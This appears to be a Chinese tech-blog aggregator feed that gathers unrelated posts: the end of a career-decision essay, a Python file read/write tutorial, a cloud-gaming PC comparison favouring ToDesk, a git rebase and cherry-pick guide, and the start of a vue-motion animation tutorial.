比如在职业发展中,我觉着几个比较重要的是行业前景、公司文化和具体岗位,薪资当然也是我们衡量的一个重要指标,但其他的因素我们只做参考,而不能作为决策的决定因素。

对于选择offer这件事,我们也可以借助这个思路,识别几个你认为最重要的核心因素进行打分,选择总分最高的那一个。

我花了一个表格给大家,如果你也在选择offer中纠结,可以尝试用这个办法来试试。

公司/维度公司A公司B公司C
行业543
公司333
岗位531
薪资351
距离335
总分16158

《思考,快与慢》这本书的作者丹尼尔·卡尼曼讲到他的一段经历,卡尼曼曾受到以色列军方委托,研发一套测试系统,评估士兵的素质。卡尼玛打造的这个评估系统并不复杂,就是6项指标,面试官根据士兵的表现,每项指标从1分到5分来打分,加在一起就是士兵的总分。这个系统并没有繁复的指标,也没有不同的权重,但是效果非常好。

这就是简单的力量。

说在最后

由此得到:

是否去留,看基廷斯。

时间长短,三七为界。

犹豫不决,得靠计算。

通过数学思维来指导职业选择,也许不能保证每个决定都完美无缺,但至少能让我们在迷茫时找到一个理性的参考标准。如果这篇文章对你有所启发,欢迎点赞、评论,分享给你的朋友。

这是东东拿铁的第69篇原创文章,欢迎关注。

by 东东拿铁 at January 20, 2025 07:26 AM

juejin backend

如何使用 Python 进行文件读写操作?

大家好,我是 V 哥。今天的内容来介绍 Python 中进行文件读写操作的方法,这在学习 Python 时是必不可少的技术点,希望可以帮助到正在学习 python的小伙伴。

以下是 Python 中进行文件读写操作的基本方法:

一、文件读取

# 打开文件
with open('example.txt', 'r') as file:
    # 读取文件的全部内容
    content = file.read()
    print(content)

    # 将文件指针重置到文件开头
    file.seek(0)
    # 逐行读取文件内容
    lines = file.readlines()
    for line in lines:
        print(line.strip())  # 去除行末的换行符

    # 将文件指针重置到文件开头
    file.seek(0)
    # 逐行读取文件内容的另一种方式
    for line in file:
        print(line.strip())

代码解释

  • open('example.txt', 'r'):以只读模式 r 打开名为 example.txt 的文件。
  • with 语句:确保文件在使用完毕后自动关闭,避免资源泄漏。
  • file.read():读取文件的全部内容。
  • file.seek(0):将文件指针重置到文件开头,以便重新读取。
  • file.readlines():将文件内容按行读取,并存储在一个列表中,每一行是列表的一个元素。
  • for line in file:逐行读取文件内容,file 对象是可迭代的,每次迭代返回一行。

二、文件写入

# 打开文件进行写入
with open('output.txt', 'w') as file:
    # 写入内容
    file.write("Hello, World!\n")
    file.write("This is a new line.")

代码解释

  • open('output.txt', 'w'):以写入模式 w 打开文件,如果文件不存在,会创建文件;如果文件存在,会清空原文件内容。
  • file.write():将指定内容写入文件,不会自动添加换行符,若需要换行,需手动添加 \n

三、文件追加

# 打开文件进行追加
with open('output.txt', 'a') as file:
    # 追加内容
    file.write("\nThis is an appended line.")

代码解释

  • open('output.txt', 'a'):以追加模式 a 打开文件,在文件末尾添加新内容,不会覆盖原文件内容。

四、文件读写的二进制模式

# 以二进制模式读取文件
with open('example.bin', 'rb') as file:
    binary_data = file.read()
    print(binary_data)

# 以二进制模式写入文件
with open('output.bin', 'wb') as file:
    binary_data = b'\x48\x65\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64'  # 二进制数据
    file.write(binary_data)

代码解释

  • open('example.bin', 'rb'):以二进制只读模式 rb 打开文件。
  • open('output.bin', 'wb'):以二进制写入模式 wb 打开文件。
  • b'\x48\x65\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64':表示二进制数据,使用 b 前缀。

五、使用 json 模块读写 JSON 文件

import json

# 写入 JSON 数据
data = {'name': 'John', 'age': 30, 'city': 'New York'}
with open('data.json', 'w') as file:
    json.dump(data, file)

# 读取 JSON 数据
with open('data.json', 'r') as file:
    loaded_data = json.load(file)
    print(loaded_data)

代码解释

  • json.dump(data, file):将 Python 对象 data 序列化为 JSON 格式并写入文件。
  • json.load(file):从文件中读取 JSON 数据并解析为 Python 对象。

六、使用 csv 模块读写 CSV 文件

import csv

# 写入 CSV 数据
data = [['Name', 'Age', 'City'], ['John', 30, 'New York'], ['Jane', 25, 'Chicago']]
with open('data.csv', 'w', newline='') as file:
    writer = csv.writer(file)
    writer.writerows(data)

# 读取 CSV 数据
with open('data.csv', 'r') as file:
    reader = csv.reader(file)
    for row in reader:
        print(row)

代码解释

  • csv.writer(file):创建一个 CSV 写入对象,将数据列表写入文件。
  • writer.writerows(data):将数据列表中的每一行写入文件。
  • csv.reader(file):创建一个 CSV 读取对象,逐行读取文件。

七、使用 pandas 模块读写文件(需要安装 pandas 库)

import pandas as pd

# 写入数据到 CSV 文件
data = {'Name': ['John', 'Jane'], 'Age': [30, 25], 'City': ['New York', 'Chicago']}
df = pd.DataFrame(data)
df.to_csv('data_pandas.csv', index=False)

# 读取 CSV 文件
df_read = pd.read_csv('data_pandas.csv')
print(df_read)

代码解释

  • pd.DataFrame(data):将字典数据转换为 pandasDataFrame 对象。
  • df.to_csv('data_pandas.csv', index=False):将 DataFrame 对象存储为 CSV 文件,不保存索引。
  • pd.read_csv('data_pandas.csv'):读取 CSV 文件为 DataFrame 对象。

八、使用 pickle 模块进行对象序列化和反序列化

import pickle

# 序列化对象
data = {'name': 'John', 'age': 30, 'city': 'New York'}
with open('data.pkl', 'wb') as file:
    pickle.dump(data, file)

# 反序列化对象
with open('data.pkl', 'rb') as file:
    loaded_data = pickle.load(file)
    print(loaded_data)

代码解释

  • pickle.dump(data, file):将 Python 对象 data 序列化为二进制数据并写入文件。
  • pickle.load(file):从文件中读取二进制数据并反序列化为 Python 对象。

以上是 Python 中进行文件读写操作的常用方法,你可以根据不同的文件类型和使用场景,选择合适的方法进行操作。

最后

根据文件类型和操作需求,可以灵活使用内置的 open 函数及相关模块,如 json、csv、pandas 和 pickle 等,同时利用 with 语句确保文件的正确打开和关闭。你 Get 到了么,欢迎关注威哥爱编程,全栈路上我们并肩前行。

by 威哥爱编程 at January 20, 2025 07:23 AM

juejin freebie

ToDesk云电脑、顺网云、网易云、易腾云、极云普惠云横测对比:探寻电竞最佳拍档

一、云电脑:电竞新宠崛起

在电竞游戏不断发展的今天,硬件性能成为了决定游戏体验的关键因素。为了追求极致的游戏画面与流畅度,玩家们往往需要投入大量资金购置高性能电脑。然而,云电脑技术的出现,为玩家们提供了一种全新的解决方案。它打破了硬件设备的束缚,让玩家无论身处何地,只需通过网络连接,就能享受到顶级的电竞体验。 在这里插入图片描述

今天,我们将聚焦于 ToDesk 云电脑 的电竞云电脑产品,并与 顺网云、网易云、易腾云、极云普惠云这四款云电脑产品进行全面对比,深入剖析各大云电脑产品在电竞领域的独特优势,为各位游戏爱好者在选择云电脑时提供有力参考。

二、群雄逐鹿:五大云电脑产品特色剖析

2.1 ToDesk 云电脑

ToDesk想必大家都不是非常陌生,至少对于我来说,他家的ToDesk远程桌面软件就是我进行远程协助的首选软件,一直用了很多年,身边的朋友们也都是首推,从这款优质软件就可以看出该公司对于产品的用心。因此,ToDesk 云电脑发布以后,也是得到了我和身边朋友们的一众青睐。在进行软件评测之前,我访问了这五款云产品的官网,不得不说,只有ToDesk云电脑的官网做的十分大气简洁,页面交互效果最好,其它云产品的网页观感和下载体验都不是很好。 在这里插入图片描述 ToDesk 云电脑的优势有很多,普遍都是高性能的硬件配置,在高性能云电竞方面分别提供了3060和4070两种配置,价钱也非常合理,无需担心本地电脑配置跟不上节奏;且也兼容手机、平板、笔记本、web等多种操作系统和设备,随时随地都可以开启游戏。 在这里插入图片描述 同时,云电脑凭借其先进的技术架构和创新的解决方案,成为市场上的黑马。它的技术优势主要有以下几点: 1、PC Farm方案,满血直通显卡 ToDesk采用先进的PC Farm方案,集成了高性能的显卡资源,支持满血直通技术,确保用户能够享受到与本地设备相媲美的图形处理能力,满足高端游戏和设计的需求。 2、三幅本备份,三重保险保障 为保障数据安全和服务稳定性,ToDesk云电脑采用三幅本备份技术,提供三重保险保障。即使在极端情况下,也能确保用户数据的完整和服务的持续可用。 3、全场景支持与多平台兼容性 ToDesk云电脑支持多种操作系统和设备,具备广泛的兼容性,适用于各种使用场景。

功能支持描述
主流操作系统支持全面支持Windows、macOS、Linux等主流操作系统,满足不同用户的系统需求。
Web端的无缝访问通过浏览器即可访问云电脑,无需安装额外软件,方便快捷。
小程序的便捷使用支持微信小程序等轻量级应用,用户可以随时随地通过手机或平板访问云电脑。
移动端的优化体验针对iOS和Android系统进行了深度优化,确保在移动设备上的流畅体验。
大屏设备的支持与优化支持智能电视和投影设备,适用于家庭娱乐和商务演示等多种场景。

这里我们购买完成以后,就可以直接连接云服务器进入电脑桌面,启动速度非常快,完全可以用丝滑来形容。 在这里插入图片描述

同时,ToDesk云电脑除了能将画质调整至 2k 144 帧的原画级,并且还有文件传输、音频同步、适配蓝牙键鼠、PS、Xbox 等型号的游戏手柄等实用功能,有助于提升游戏效果。更为方便贴心的是,云电脑桌面中已预装多款热门游戏,包括 steam 平台游戏等,我们可以直接登录游戏开始畅玩。 在这里插入图片描述

在进行游戏前,我们先进行网速测试,我由于回到老家的缘故,所以家里WIFI的网速很一般,只有接近百兆的网速。但是我进入云电脑以后,再次进行测速,发现网速接近700兆,这无疑是我们这类网速卡,电脑配置又低的人的福音。 在这里插入图片描述

我个人平时很少玩3A大作,所以今天就只测试几款我经常玩的游戏,Apex英雄和无畏契约。 首先看Apex英雄,这款游戏是我比较喜欢的一款大逃杀游戏,对于电脑硬件有一定的要求,进入游戏以后,我就把画质调到最高,然后想试一下云电脑端的极限。 在这里插入图片描述 结果发现打开最高画质以后,依然没有一丝卡顿,玩起游戏来一点也不卡,FPS最高能够达到144。 在这里插入图片描述 在这里插入图片描述 无畏契约这款游戏运行起来也是很丝滑,画质开到最高,帧率最高可以达到144,稳定在130左右,画面十分清晰。 在这里插入图片描述 在这里插入图片描述

2.2 顺网云

顺网云刚进入的时候会送一小时免费体验时间,但是游戏资源有时候很抢手,需要排队才能进入,不过好在前面拍的人不算多,大概排了有2分钟时间就进入了云电脑环境。 在这里插入图片描述 顺网云进入的速度非常快,只有2s左右,刚进入的时候会有网吧的提示音,像极了到网吧上网的感觉,这个游戏菜单也和我去过的大部分网吧一致,一个色调,让我回忆起上学期间去网吧上网的时候。 在这里插入图片描述 我这里也是对顺网云的3070云主机进行了一个网速检测,发现网速跟我家里的网速一致,都是百兆左右,不过后续再测试4070云电脑的时候,发现网速又接近500兆,看来40系配置的显卡网速都特别快。 在这里插入图片描述 同时,我发现我进去排队的时候,明明选择的是40系的显卡,但是进去以后确实3070显卡,感觉很奇怪,重新进去了一次还是3070,看来必须选择4070显卡才能抢占到40系的资源。 在这里插入图片描述 在这里插入图片描述 不过顺网云有个优点就是它的计时卡有很多小时段,而不像ToDesk云电脑一样,只有30小时最低的计时卡,计时卡就是可以在不想玩的时候关闭云服务,使用时长会暂停,方便我们下次使用。 在这里插入图片描述 同时顺网云的悬浮球可以让用户根据自己网速的快慢调节清晰度,我直接调节到了超清,但是感觉画面清晰度变化不是很大。 在这里插入图片描述 为了测评的公平性,我们尽量都使用和ToDesk云电脑一样显卡配置的顺网云服务器,接下来我们来使用下顺网云的4070显卡进行下游戏性能测试,为了节省时间,我们下面都只测试下无畏契约这款FPS射击游戏。在顺网云自带的悬浮球上可以看出,游戏中的最高帧率为60帧,基本也能稳定在60帧左右,玩无畏契约这款游戏还是流畅的,但是感觉明显没有ToDesk的体验更加流畅。 在这里插入图片描述

2.3 网易云

网易云的PC端界面说实话,刚开始有点看不太懂,不过上来就送了2小时5分钟的端游免费时长,可以方便我们进行体验,然后再确定是否继续购买,还是比较人性化的。 在这里插入图片描述 网易云游戏平台里面分别有云电脑和高配云电脑两种云服务,云电脑的配置显然比较低,是1660Ti,而高配云电脑的配置是3060,说实话,这个配置稍低。当然,我看也有4070ti显卡配置的,但是只有特定游戏(如燕云十六声、黑神话悟空等)才能够使用这款高配置的云服务器,非常受限。 在这里插入图片描述 在这里插入图片描述 体验过ToDesk和顺网云以后,再使用网易云,第一感觉就是进入服务器的速度很慢,大概需要加载1分钟左右。 在这里插入图片描述 不过一打开PC服务器,就给我卡住了,可谓是出师不利,不知道是我电脑原因,还是服务器的原因。不过我们可以根据最上面明显看到它的延迟率和丢包率都是蛮高的,而且极其不稳定。 在这里插入图片描述 接下来,我们直接测试下网易云的高配云电脑性能如何,我也想测试下4070ti的性能但是奈何一直弹窗说无法支持游戏在该设备上游玩,所以我们直接测试下3060的性能。 在这里插入图片描述 进来云服务器以后,我发现网易云竟然没有网吧那种游戏菜单,而是用文件夹将游戏快捷方式存放到里面,而且每种游戏的文件夹的位置也不在一起,摆放很随意,就跟个人电脑一样,给我的体验感很不好。而且当我打开wegame以后,发现无畏契约并没有安装,而我在网易云PC端界面里面也没有找到这款游戏,感觉很不应该,因为这款游戏还挺火的,网吧百分之50以上的人都在玩,甚至连穿越火线、英雄联盟都没有。 在这里插入图片描述 不过我发现它自带一款游戏合集,这种合集可以充当游戏菜单,不过打开的时候特别卡,每次打开都要未响应一段时间才能够使用,大概需要相应1分钟左右,非常影响使用体验,而且游戏不是特别全,有的需要下载。 在这里插入图片描述 这里我也是尝试下载下无畏契约,22G的游戏,需要下载大概半个多小时,网速不是特别慢,跟我家网速差不多,不过远没有ToDesk和顺网云的网速快。 在这里插入图片描述 当我想下载个鲁大师测试下硬件性能的时候,我发现网易云的云服务器有限制,它不让你在网页上下载软件到本地使用。 在这里插入图片描述 等我好不容易下载完无畏契约以后,启动游戏发现仍然不可以玩,提示说游戏不支持运行在虚拟机中。 在这里插入图片描述 到这里我已经不想继续测试这款产品了,看来是必须游戏菜单里面有的游戏才能够体验,其它游戏都不让自行下载游玩。

2.4 易腾云

易腾云的UI看起来挺好看,但是用户进行交互的时候,点击按钮的视觉效果不是很好,感觉像是大学生做的课设一样,华而不实(至少我是这么觉得,可能是因为先体验了比较好的产品)。 在这里插入图片描述 点击启动云电脑按钮以后,弹出了选择启动的配置,有会员专区和非会员专区两种选项,会员专区除了价格便宜一点以外,其它都没有区别,不过我发现好像只能选择推荐的配置,因为全部里面只有4060这一个配置,我尝试找寻别的配置发现并没有。 在这里插入图片描述 点击立即启动进来以后,发现易腾云的界面非常简单,有种家用办公电脑的感觉,不过好在配备了游戏菜单,可以直接在游戏菜单里面启动游戏。 在这里插入图片描述 在这里插入图片描述 使用了一会儿以后,我发现易腾云的延迟特别高,很容易卡的鼠标动不了,在测速网测了一下速度发现延迟有时高达183ms,比网易云的延迟还不稳定,网速有时候也是差的离谱。 在这里插入图片描述 打开wegame以后,发现易腾云的游戏要比网易云的多很多,至少穿越火线和英雄联盟这种大众游戏都有,唯独就是没有无畏契约。 在这里插入图片描述 由于没有无畏契约这款游戏,为了节省时间,我们可以测试一下三角洲行动的游戏性能如何。进入游戏以后,我发现在网络状况良好的情况下,游戏体验还不错,还算流畅,帧率最高能够达到120,稳定在110左右。不过由于延迟的不稳定,会经常过5s以后开始卡顿。 在这里插入图片描述 为了让大家看的更加详细,我用手机进行了录屏,可以清晰看到中间的明显卡顿,不过也不排除是我电脑网速不太好的原因,但其它几家产品到时没这种情况。

[video(video-QjdZ3Nfa-1737344788223)(type-bilibili)(url-player.bilibili.com/player.html…)]

2.5 极云普惠云

极云普惠云的登录界面都体现了它是一款为游戏而生的云服务器平台,登录方式也是和ToDesk一样涵盖了QQ和微信,但是唯独少了手机号验证登录。 在这里插入图片描述 登录进来以后,就提醒我领取每日15分钟的高级配置畅玩福利,但是这15分钟的体验时间还是十分有限,基本体验不了什么。 在这里插入图片描述 废话不多说,我们直接选择它的高级配置进去一观。进来以后,发现极云普惠云的桌面还是挺像网吧风格的,游戏菜单里面的游戏也十分齐全。

在这里插入图片描述

进入Wegame以后,发现普惠云里面的游戏十分齐全,应有尽有,对于我们这类wegame玩家十分友好,系统流畅度也还行。但是进来以后发现系统给我分配的服务器配置是1060显卡。本来还想玩几把游戏,结果还没等我开始体验游戏,刚进入没多久游戏体验时间就到了,体验非常不好。

三、巅峰对决:对比见真章

3.1 CPU

ToDesk云电脑采用的是i7-12700KF的CPU处理器,顺网云采用的是i5-12400F,网易云使用的是intel的xeon处理器,易腾云采用的也是i7系列的13700,而极云普惠云采用的则是i5的8400CPU处理器,具体如下图所示。 在这里插入图片描述 具体性能排名如下表所示:

产品名称处理器型号核心参数游戏性能评分( 1 - 5 星)主要游戏表现
易腾云i7-137008 大 8 小 16 核心 32 线程★★★★★在 3A 大作中,高分辨率高画质下帧率稳定,多核心优势显著。
ToDesk 云电脑i7-12700KF8 大 4 小 12 核心,无集显,基础频率 3.6GHz,睿频 5.0GHz★★★★主流竞技游戏中轻松应对高帧率需求,搭配高端显卡可减少 CPU 瓶颈
顺网云i5-12400F6 核心 12 线程,主频最高 4.4GHz★★★主流网络游戏中表现良好,如《无畏契约》《三角洲》;运行 3A 大作时,高画质高分辨率下多核性能稍显不足
极云普惠云i5-84006核心6线程,制作工艺 14 纳米,主频 2.8GHz,动态加速频率 4GHz可满足对 CPU 性能要求不高的网络游戏,运行大型 3A 游戏易卡顿
网易云Xeon(至强)面向服务器等高端平台,多核心多线程-架构特性侧重于计算任务和稳定性,多数游戏中性能不如消费级酷睿系列,不适合普通游戏电脑

这里也给大家搭配一张CPU性能天梯图,以便于大家参照: 在这里插入图片描述

3.2 内存

内存方面的话,ToDesk云电脑和顺网云以及易腾云的最高配置都是32G的运行内存,而网易云和极云普惠云我所能体验到的运行内存都为16GB。显然ToDesk云电脑、顺网云和易腾云在这方面体验感会更好一些。 在这里插入图片描述

3.3 显卡

在显卡方面,ToDesk云电脑和顺网云的最高配置都是4070显卡,而网易云虽然平台显示有4070ti显卡,但是只支持个别几款特定游戏,而且资源有限,价格更高,其高配置云电脑的3060显卡虽然玩主流游戏没有太大压力,但是玩一些3A大作想要开顶级画质可能会有点压力。 易腾云的最高配置是4060显卡,玩主流游戏和大部分3A大作都能顶得住,可以满足大部分玩家的需求。 而极云普惠云的显卡则采用的是1060,性能较弱,玩一些英雄联盟、穿越火线这些主流游戏肯定是毫无压力,但是一些3A大作想要流畅运行肯定是不太现实。 在这里插入图片描述

3.4 鲁大师跑分

为了进一步测试性能,我分别在所有云产品里面都下载了鲁大师,想要一测究竟,但是遗憾的是只有ToDesk云电脑和顺网云测出来结果,分别是1514685和1499728。 网易云由于下载限制,不能下载任何软件进行使用,所以就没有测试出来。 易腾云下载完鲁大师以后一直打不开软件,反复测试多次依然如此,不过他们的配置没有ToDesk云电脑和顺网云高,所以我们只测试ToDesk云电脑和顺网云做个参考即可。 最后的极云普惠云也是刚测试完,还没来得及截屏,体验时间就到了,不过最终的结果只有80多万,远不如ToDesk和顺网云。 在这里插入图片描述

3.5 价格

价格方面,ToDesk云电脑的性价比更高,有1小时、6小时和24小时的选择,价格也比较亲民,6个小时才11.8元,平均一个小时2块钱左右,最关键的是它的配置很顶,玩起来是我测试的五款产品里面最为流畅的。这里分享一个ToDesk云电脑新用户体验码,一毛钱畅享6小时的4070劵码:ToDeskPC5893,包有效的! 在这里插入图片描述 顺网云的价格还算可以,但是没有短时长,最低就要15个小时起步,而时段卡又必须在特定时段才能购买使用,像极了网吧的包晚和包早。 网易云充值的是云币,感觉像游戏厅的游戏币充值一样,30块钱2000云币,低配置的电脑180云币/小时,而高配置的电脑则需要240云币/小时。说实话,这种充值模式,我不是特别喜欢,感觉还是按照网吧那种一小时多少钱来算比较方便,不然还得计算自己能玩多长时间。而且30块钱2000云币,如果按照3060的高配置电脑来算的话,顶多只能玩8个小时,再加上它的游戏体验,我感觉不是很值。 易腾云的价格有点居高,不是一般人能消费的起(至少我就不会买账),不过它的配置还算可以,就是我玩的时候延迟很高,经常卡顿,可以说这五款产品里面,是我体验最差的。 极云普惠云的充值方式有很多,它有极云点充值,也有套餐和订阅充值,个人感觉套餐充值比较方便和划算,除去特定时段,最便宜的有1.5/小时,就是电脑配置有的比较低。 在这里插入图片描述

四、结语:云巅之上,谁主沉浮

经过两天的详细测评下来,感觉这五款产品里面,只有ToDesk测评起来非常顺畅,其它的四款产品各有各的问题,不是延迟就是卡顿,特别是易腾云,刚进去的时候就感觉UI交互设计的不行,结果进入服务器以后,延迟高到不能正常操作,进入游戏以后也是丢帧和卡顿,非常吃本机的电脑网络,建议如果家里网络不行,尽量不要使用易腾云玩游戏,它会卡到你怀疑人生。 而网易云 给我的感觉就是像极了网页版的4399小游戏,平台页面设计的也是非常复杂,同时它的PC端游戏很少,甚至连大众流行的英雄联盟和无畏契约都没有,而且还不能自己下载,感觉网易云比较适合一些小朋友玩耍。 在这里插入图片描述

顺网云 给我的感觉还算可以,页面设计的还算可以,交互也很流畅,就是资源有时候会比较紧张,需要排队才能启动。同时,它的开机速度也十分快,基本1s就能进入游戏桌面,而且配置也和ToDesk一样高,有40系的显卡,玩任何3A游戏都可以轻松拿捏,就是价格方面没有ToDesk亲民划算。 极云普惠云 光是名字就给我一种侧重于办公的感觉,结果点开以后发现人家确实是专门为游戏设计的,里面的游戏种类非常全,就是在启动的时候不能自己选择配置,需要系统自动分配,畅玩版的配置有3060Ti、4060Ti、2070super甚至4070等,但是不知道为啥给我分配的却是1060的云服务器,感觉不能自主选择配置这一点我不是特别能接受,谁不想花钱玩高配置的电脑呢,同样的价格为啥别人是4070,而我只能是3060甚至是1060。 最后谈到ToDesk,不得不说,综合体验下来,还是ToDesk云电脑的综合性能更强,外到界面,内到配置,都是顶级的。毕竟人家的ToDesk远程软件做的那么出色,云电脑肯定也不会差,在鲁大师评分上,它的综合评分最高,而在游戏体验上面,可以说进入以后就感觉像是在玩自己的电脑一样,丝毫没有卡顿和延迟,云电脑的网速高达700兆,绝对配得上电竞王者的名头。 这里最后再给上大家我的推荐次序,ToDesk云电脑 > 顺网云电脑 > 网易云游戏 > 极云惠普云电脑 > 易腾云电脑,在这里博主最为推荐的是ToDesk云电脑价格合适,性能爆表,值得体验,可谓是我们本期的最佳电竞拍档~

by 几何心凉 at January 20, 2025 07:22 AM

【Git 篇】使用 git rebase 交互式合并提交

branch_xx 分支中: git log 显示:

commit a3c3e1b6c5207b89bc9c16b78f30f4fe1c88d5a9
Author: Your Name <youremail@example.com>
Date:   Mon Jan 1 12:34:56 2025 +0000

    fix: issues

commit b9c3d7a9f93ab9d17e0239b91bc0930533e2d983
Author: Another Dev22 <anotherdev22@example.com>
Date:   Sun Dec 31 11:22:33 2024 +0000

    Fix issue 

commit 1s2w3dea9f93ab9d17e0239b91bc0930533e2d983
Author: liqiang <liqiang@example.com>
Date:   Sun Dec 30 10:22:33 2024 +0000

    chore: Replace the name

想把 “ chore: Replace the name ” 这个提交跟之前的提交一起 merge 到Develop 上, 有哪些办法?

将提交 chore: Replace the name1s2w3dea9f93ab9d17e0239b91bc0930533e2d983)和它之前的提交一起合并到 Develop 分支上,这可以通过几种方式实现。以下是几种方法:

方法 1:使用 git rebase 交互式合并提交

通过交互式 rebase,可以选择将提交合并成一个提交并推送到 Develop 分支上。

步骤:

  1. 切换到 branch_123 分支

    git checkout branch_123
    
  2. 启动交互式 rebase: 假设想将最后三个提交合并成一个提交,并推送到 Develop,可以执行:

    git rebase -i HEAD~3
    
  3. 选择合并提交: Git 会打开一个编辑器,列出最后三个提交:

    pick 1s2w3d chore: Replace the name
    pick b9c3d7a Fix issue
    pick a3c3e1b fix: sonar issues
    

    pick 改为 squash(或缩写为 s)在第二行和第三行:

    pick 1s2w3d chore: Replace the name
    squash b9c3d7a Fix issue
    squash a3c3e1b fix: sonar issues
    

    这样就将这三个提交合并成一个提交。

  4. 保存并退出编辑器: 这时 Git 会自动将这三个提交合并,并打开一个新的编辑器,允许你编辑合并后的提交消息。

  5. 确认提交信息并完成 rebase: 编辑合并后的提交消息,保存并退出编辑器,Git 会完成合并操作。

  6. 推送到 Develop 分支: 可以使用 git push 将更改推送到远程的 branch_123,然后创建一个 PR 合并到 Develop

方法 2:使用 git merge 将单个提交合并到 Develop

如果不想将多个提交合并成一个提交,而是想只将 chore: Replace the name 这个提交合并到 Develop 分支,可以使用以下方法:

步骤:

  1. 切换到 Develop 分支

    git checkout Develop
    
  2. 通过 cherry-pick 提交: 通过 git cherry-pick 将想合并的提交(例如 1s2w3dea9f93ab9d17e0239b91bc0930533e2d983)合并到 Develop 分支。

    git cherry-pick 1s2w3dea9f93ab9d17e0239b91bc0930533e2d983
    

    这样就只会把这个单独的提交合并到 Develop

  3. 推送更改: 合并完后,可以推送到远程仓库:

    git push origin Develop
    

方法 3:使用 git resetgit commit 重新提交

如果希望完全重写提交的历史,可以使用 git resetgit commit 来重新提交你的更改。

步骤:

  1. 切换到 branch_123 分支

    git checkout branch_123
    
  2. 使用 git reset 软重置: 使用 git reset --soft 来重置到 1s2w3dea9f93ab9d17e0239b91bc0930533e2d983 提交之前的状态,并将更改保留在暂存区。

    git reset --soft HEAD~1
    
  3. 重新提交: 这时会将所有变更放回暂存区,可以通过 git commit 创建一个新的合并提交。

    git commit -m "Merge chore: Replace the name and previous fixes"
    
  4. 将更改推送到 Develop: 最后,可以将更改推送到远程的 Develop 分支。

    git push origin Develop
    

总结

  • 方法 1:使用 git rebase -i 来交互式合并提交,这可以将多个提交合并为一个提交。
  • 方法 2:使用 git cherry-pick 来单独选择并合并特定的提交。
  • 方法 3:使用 git reset --softgit commit 来重新组织和提交更改。

在多部门以及跨国合作的项目中,涉及到多个开发人员和团队,合理管理和维护代码历史、确保代码合并和冲突处理的顺利进行是非常重要的。不同的方法有不同的适用场景,以下是对三种方法的具体建议:

1. 使用 git rebase -i 合并提交(推荐)

适用场景:

  • 清理提交历史:当希望合并多个提交(例如解决不同问题的提交)并保持干净的历史记录时,git rebase -i 是一种非常有效的方法。它允许你选择性地合并提交,避免了无关的杂乱历史。
  • 团队合作时需要保持清晰的提交记录:在跨国合作中,各个开发人员的代码提交可能会被不同的团队成员查看,保持简洁明了的提交历史有助于减少混淆,尤其是在回溯查找问题时。
  • 避免冗余的合并提交git rebase -i 可以将多个提交合并成一个提交,避免了多次合并产生的复杂历史。

优点:

  • 提交历史清晰,避免了不必要的合并提交。
  • 有助于维护简洁且整洁的 Git 历史,便于后续审查和追溯。

缺点:

  • 如果在多人协作环境中,进行 rebase 可能会导致需要强制推送(--force),这可能会影响其他开发者的工作。
  • 需要小心操作,尤其是在已经推送到远程仓库的情况下,可能会导致冲突。

建议:

  • 如果你希望保持整洁的提交历史并且与团队达成一致,使用 git rebase -i 是一个理想的选择。建议在团队内建立使用 rebase 的规范,避免多人同时对同一提交进行 rebase 操作,从而导致冲突。

2. 使用 git cherry-pick 合并特定提交(适合)

适用场景:

  • 选择性地合并某个特定提交git cherry-pick 适用于从其他分支中选择一个提交,并将它合并到当前分支。这对于从多个开发人员的工作中选择特定的功能或修复非常有用。
  • 处理单个提交:如果你仅仅想合并一个单独的提交,而不希望合并其他提交(例如只想保留 chore: Replace the name 这个提交),cherry-pick 是一个合适的选择。
  • 跨团队的功能回溯或修复:当某个团队需要回溯并引入另一个团队的修复时,git cherry-pick 非常有用,它避免了合并整个分支带来的潜在冲突。

优点:

  • 可以精确地选择合并哪些提交。
  • 适用于跨分支、跨团队的需求,能够单独处理特定的变更。

缺点:

  • 如果不小心,可能会造成提交记录中重复的内容,尤其是在多个 cherry-pick 时,容易导致复杂的历史。
  • 在跨国团队合作中,cherry-pick 操作如果没有明确记录,可能导致相同的功能被多次合并。

建议:

  • git cherry-pick 是在跨国合作时非常实用的工具,特别是在你只需要从其他分支引入一个特定的修复或功能时。
  • 使用时应确保团队之间有良好的沟通,避免重复合并相同的提交,建议在操作后同步记录。

3. 使用 git reset --softgit commit 来重新提交(不太推荐)

适用场景:

  • 临时调整提交历史git reset --soft 可以用来临时调整提交历史,保留工作区的更改,但这种操作更多适用于本地开发环境。
  • 修正提交并重新提交:当你需要撤销某个提交,但希望保留这些变更并重新组织后提交时,可以使用 git reset。但这通常是在本地开发中比较常见,在跨国团队合作中,不推荐频繁使用。

优点:

  • 适用于修正错误的提交,允许你在提交之前调整变更。
  • 保留了本地的修改和变更,可以自由重构提交内容。

缺点:

  • 如果已经将提交推送到远程仓库,git reset 会导致历史不同步,可能需要强制推送,这在团队协作中可能会引发问题。
  • 容易导致团队成员之间的冲突,特别是当多个开发者都在相同的基础上工作时。

建议:

  • 不推荐在跨国合作项目中使用 git reset 来修改提交历史,除非是在本地开发环境进行临时操作。团队中的成员应避免使用 reset 后再推送到远程,因为它会更改提交历史,可能影响其他人的工作。
  • 如果必须使用,确保团队成员已经协商一致,并且理解可能带来的风险。

总结建议

对于跨国合作项目,推荐使用 git rebase -igit cherry-pick,具体选择依据以下情况:

  • 如果你希望保持历史简洁、整洁,避免冗余提交,推荐使用 git rebase -i,特别是在修复历史提交时。
  • 如果你只想合并特定的提交,且不需要合并其他提交或更改历史,推荐使用 git cherry-pick
  • git reset --soft 用于本地调整提交并重新提交,但在跨国合作中应尽量避免,因为它可能会导致同步问题。

by 曼陀罗 at January 20, 2025 07:21 AM

juejin frontend

Vue中的一个动画库 vue-motion

GitHub地址

github.com/posva/vue-m…

文档

posva.net/vue-motion/…

安装

npm install --save vue-motion

在main.js引入

import Vue from 'vue'

import VueMotion from 'vue-motion';

Vue.use(VueMotion);

组件中引入:

import { Motion } from 'vue-motion'

export default {
  components: {
    MyMotion: Motion
  }
}

Motion 组件的属性(Props)

Motion 组件有一些常用的属性,可以帮助你定制动画行为。

属性类型必填默认值描述
valueNumber-过渡的单一值。只在 values 属性未提供时使用。
valuesObjectArray-过渡的多个值。只在 value 属性未提供时使用。
tagString"span"定义容器元素的标签。
springObjectString"noWobble"定义过渡的弹簧行为。

Motion 组件的事件(Events)

Motion 组件也提供了几个事件,帮助你处理过渡的生命周期。

  • motion-start: 当新的过渡开始时触发。
  • motion-end: 当过渡完成时触发。
  • motion-restart: 当过渡因帧率过低或其他原因被重启时触发。

弹簧(Springs)

Vue Motion 使用弹簧物理引擎来过渡值。

